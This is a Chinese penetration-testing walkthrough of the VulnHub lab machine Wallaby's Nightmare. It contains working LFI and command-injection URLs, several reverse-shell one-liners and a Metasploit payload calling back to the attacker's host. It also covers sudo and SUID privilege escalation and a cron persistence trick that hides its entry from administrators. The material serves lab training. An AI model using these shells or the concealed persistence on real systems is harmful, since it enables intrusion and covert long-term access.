靶机下载地址:https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/
教程链接地址:https://blog.csdn.net/qq_34801745/article/details/104095029
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 WALLABY:桥接于 192.168.31.1 的网卡,ip 未知
通过 netdiscover 扫描当前网卡里边有哪些机器
sudo netdiscover -i eth0 -r 192.168.31.0/24
将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1 2 3 4 5 # shell cat > myip.txt << EOF 192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33 192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44 EOF
去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
sudo nmap -PA 192.168.31.107 --excludefile myip.txt
-> 目标机器的 ip 地址: 192.168.31.5
确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.15 -oN /tmp/wallaby.txt
-> 靶机开放端口 22, 80, 6667
# LFI 漏洞测试
打开 http://192.168.31.5/ 进行信息收集
输入名字并登陆此网站
观察 url 地址,发现存在 lfi 本地文件包含漏洞
直接构造 http://192.168.31.5/?page=/etc/passwd
访问 http://192.168.31.5/?page=/etc/sudoers 发现对方管理员检测到了 lfi 攻击
重新访问 http://192.168.31.5/ 发现网站已经挂掉了
-> 80 端口被关闭,网站已被注销,重新尝试端口扫描
# 60080 网站信息收集
重新扫描端口,发现 80 被关闭,新开了一个 60080 端口网站
http://192.168.31.5:60080/ 渗透测试
发现此端口确实存在网站,目标转为对此网站的分析
目录爆破,收集更多的目录信息
1 2 dirsearch -u http://192.168.31.5:60080/ gobuster dir -u http://192.168.31.5:60080/ - w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html
并没有发现任何有价值的信息
# dirb 目录扫描
仔细回想之前的操作,在 80 端口对网站渗透时,发现了 lfi 漏洞
是在 http://192.168.31.5/?page=home 上的,尝试访问 http://192.168.31.5:60080/?page=home 仍存在 lfi 漏洞
http://192.168.31.5:60080/?page=/etc/sudoers
使用 dirb 对 http://192.168.31.5:60080/?page= 目录进行扫描
1 2 # dirb是一个基于字典的web目录扫描工具,查找现有的(和/或隐藏的)Web对象,通过对Web服务器发起基于字典的攻击并分析响应的数据。 dirb http://192.168.31.5:60080/index.php?page=
-> 敏感网址:http://192.168.31.5:60080/index.php?page=mailer
将这些文件访问了一遍之后,发现此网站是唯一可能存在漏洞的目标
检查源代码,发现这里有一个 rce 漏洞
http://192.168.31.5:60080/index.php?page=mailer&mail=mail
http://192.168.31.5:60080/index.php?page=mailer&mail=ls
# php/curl/bash/nc 反弹
判断目标服务器上是否存在相关的命令
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20curl
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20python
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20php
http://192.168.31.5:60080/index.php?page=mailer&mail=which%20nc
也可以直接一句话判断所有的信息:
http://192.168.31.5:60080/index.php?page=mailer&mail=which curl;which php;which python;which bash;
1 2 3 4 5 6 # 根据收集到的服务器上的信息进行反弹shell php -r '$sock=fsockopen("192.168.31.135",4444);exec("/bin/sh -i <&3 >&3 2>&3");' curl http://www.chentuo.asia/shell.sh | bash (success) bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1' bash -i >& /dev/tcp/192.168.31.135/4445 0>&1 nc 192.168.31.135 4444 -e /bin/bash
# kali php 木马反弹
1 2 3 4 5 6 cp /usr/share/webshells/php/php-reverse-shell.php shell.php vim shell.php 将默认端口改为kali的ip和端口号 python 3 -m http.server 80 # 构造如下url执行php http://192.168.31.5:60080/index.php?page=mailer&mail=wget%20http://192.168.31.135/shell.php;%20chmod%20777%20shell.php;%20ls%20-al
1 2 3 4 5 6 # 也可以将shell.php发送到有公网ip的网站上让目标机器去访问远程url地址上的payload并反弹shell scp -P 2121 shell.php root@1.117.52.219:/data/wwwroot/www.chentuo.asia/shell.php # 构造如下url执行php http://192.168.31.5:60080/index.php?page=mailer&mail=wget%20http://www.chentuo.asia/shell.php;%20chmod%20777%20shell.php;%20ls%20-al
上述的方法下载下来的 shell.php 是空文件,默认不允许下载此类文件
1 2 3 4 5 # 在服务器上操作 cp shell.php shell.txt,下载后重命名即可,构造如下url执行php http://192.168.31.5:60080/index.php?page=mailer&mail=wget%20http://www.chentuo.asia/shell.txt;mv%20shell.txt%20shell.php%20chmod%20777%20shell.php;%20ls%20-al # 监听本地的 4444 端口,并且同时运行此shell.php文件 [http://192.168.31.5:60080/shell.php](http://192.168.31.5:60080/shell.php)
# python 反弹 shell
1 2 3 4 5 6 7 8 # python 反弹shell代码 python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.135 ",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' # 构造地址 http://192.168.31.5:60080/index.php?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;%20s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.31.135%22,4444));%20os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
如果页面有 html 限制,在审查元素中修改即可
# msf 生成 php 反弹
1 2 3 4 5 6 7 8 9 10 11 # msf生成php木马 use exploit/multi/script/web_delivery set target 1 set payload php/meterpreter/reverse_tcp set lhost 192.168.31.135 set lport 4444 run # 将msf生成的php反弹shell的代码直接粘贴在url地址上即可 http://192.168.31.5:60080/index.php?page=mailer&mail=php%20-d%20allow_url_fopen=true%20- r% 20%22eval(file_get_contents(%27http://192.168.31.135:8080/Dk00YRQ%27,%20false,%20stream_context_create([%27ssl%27=%3E[%27verify_peer%27=%3Efalse,%27verify_peer_name%27=%3Efalse]])));%22
在此阶段,不要退出 msf,只要 msf 在线,生成的 php 代码运行之后,msf 就会接收到 sessions
# stty 异常处理
注意使用 msf 的时候如果也用了 stty 会出现下面这个问题
1 2 3 4 即enter键被转化为了^M 此时再输入任何命令都无法执行了 哪怕重启msf也无效,这里需要先退出msf,并执行stty sane,可将问题解决 命令sane最常出现在大多数终端的stty选项的集合中,它并不改变通信信道 的速率,但当终端发生混乱时,通常能够产生有益的效果。
# 权限移到另一 shell
1 2 3 4 5 6 7 8 9 # 当前终端: python3 -c "import pty;pty.spawn('/bin/bash')" bash -i >& /dev/tcp/192.168.31.135/4445 0>&1 nc - lvvp 4445 # 新的终端: python3 -c 'import pty;pty.spawn("/bin/bash")' stty raw -echo;fg export TERM=xterm
# sudo (vim) 提权
1 2 3 4 sudo -l 发现使用waldo执行vim可以免密 sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf esc --> :!/bin/bash esc --> :!bash -i >& /dev/tcp/192.168.31.135/4447 0>&1 可拿到反弹shell
# 脏牛提权
1 2 3 4 5 wget https://github.com/firefart/dirtycow/archive/refs/heads/master.zip scp -r parallels@192.168.31.135:~/Desktop/tool/dirtycow/dirtycow-master /tmp cd dirtycow-master gcc -pthread dirty.c -o dirty -lcrypt ./dirty
服务器崩溃,提权失败,需要重启服务器
# issri 攻击 irc
修改防火墙规则,允许链接 irc
在 www-data 用户的时候,发现可以直接调用 root 改变 iptables
1 2 3 4 5 6 7 8 9 10 11 # 查看当前的防火墙规则 sudo iptables -L 同由于它是一个易受攻击的机器,我们看到我们从外部发送到irc的包通过使,用授予所有用户的管理 iptables 的权限被丢弃,我们删除了这个丢弃规则。 # 重写第二条规则以允许端口 6667 上的 TCP 连接 sudo iptables -R INPUT 2 -p tcp --dport 6667 -j ACCEPT sudo iptables -L 而在nmap扫描端口时也出现了 6667 irc服务 改变iptables之后我们可以通过irssi连接到irc
issri 连接至 irc
irssi -c 192.168.31.5 -p 6667 列出频道 /list
加入了 wallabyschat 频道 /join #wallabyschat
列出选项 .help
查看私密信息 /window 3
看到 run 似乎有用,返回 /window 2, 执行 run
只有 waldo 才能执行,我们换名字 /nick waldo
此时更名不成功,因为正有 waldo 用户的进程 tmux 使用着
伪造身份登陆 irssi
1 2 3 通过sudo -l中的vim权限设置错误提升权限 sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf esc --> :!/bin/bash 提权至waldo权限
1 2 3 4 这里有一个irssi.sh的文件,会以waldo的身份运行shell 他的设置有问题。如果 Tmux 宕机,他的 IRC 连接也会宕机。 pkill tmux who
在 irssi 中修改别名为 waldo:/nick waldo
现在我们用 waldo 身份来运行 run 看会有什么效果
# SUID python 提权
可以看到的是,我们用 run 执行命令的时候调用的是 wallabyshot 的身份
我们可以构造 payload 尝试将 wallabyshot 身份的 shell 反弹出来
1 2 # 这是一个python反弹shell的代码,尝试运行 .run python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.135 ",4448));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
作为 waldo,我运行 .run 并从机器人收到 FileNotFound 错误。
1 FileNotFoundError: [Errno 2] No such file or directory: 'None' (file "/usr/lib/python3.5/subprocess.py", line 1551, in _execute_child)
adm 组确实看起来很有希望。由于 .run 需要一个文件,因此我创建了一个包含以下内容的文件:
1 2 3 4 5 6 # !/bin/bash sudo -l # 利用具有s权限的python进行提权, 修改下一个脚本以将 suid 位应用于 python 可执行文件: # !/bin/bash sudo chmod 4777 /usr/bin/python2.7
通过 irssi 执行此脚本,将 python2.7 添加上 SUID 权限
此后可以退出 irssi 了 /quit
1 2 ls - al /usr/bin/python2.7 python -c "import os; os.setuid(0); os.system('/bin/bash')"
提权成功拿到了 root 权限
# 隐蔽 cron 权限维持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 查看当前计划任务有哪些 crontab -l cat > /root/.first.sh <<EOF # !/bin/bash bash -i >& /dev/tcp/192.168.31.135/4444 0>&1 EOF cat > /root/.second.sh << EOF (crontab -l;printf "*/1 * * * * /root/.first.sh;\rno crontab for `whoami`%100c\n")|crontab - EOF # */1 * * * *:每隔 1 分钟执行一次; # /r:cat 默认支持 \r 回车符 \n 换行符 \f 换页符这些符号,会导致显示截断隐藏命令,隐藏真实的计划任务; # %100c:格式化输出一个字符,前面 99 个空格补齐。使用空格帮助我们把前面的内容在 crontab 中遮盖掉; # 如果想让创建的文件隐蔽性更强,可以创建名为".." 、“...”或以..等开头的文件。 chmod 777 .first.sh chmod 777 .second.sh /root/.second.sh
1 2 3 # 如果发现无法运行,可以通过下列两个命令查看详细计划任务 cat /var/spool/cron/crontabs/root -A crontab -e 或者 vi /etc/crontab
1 2 3 4 5 6 # 在kali机器上监听 4444 端口,每隔一分钟收到将会一次shell nc - lvvp 4444 # 执行一下命令产生一个标准的shell: python3 -c 'import pty;pty.spawn("/bin/bash")' stty raw -echo;
-> 只要开启 kali 的 4444 端口,很快就会收到 root 账户的 shell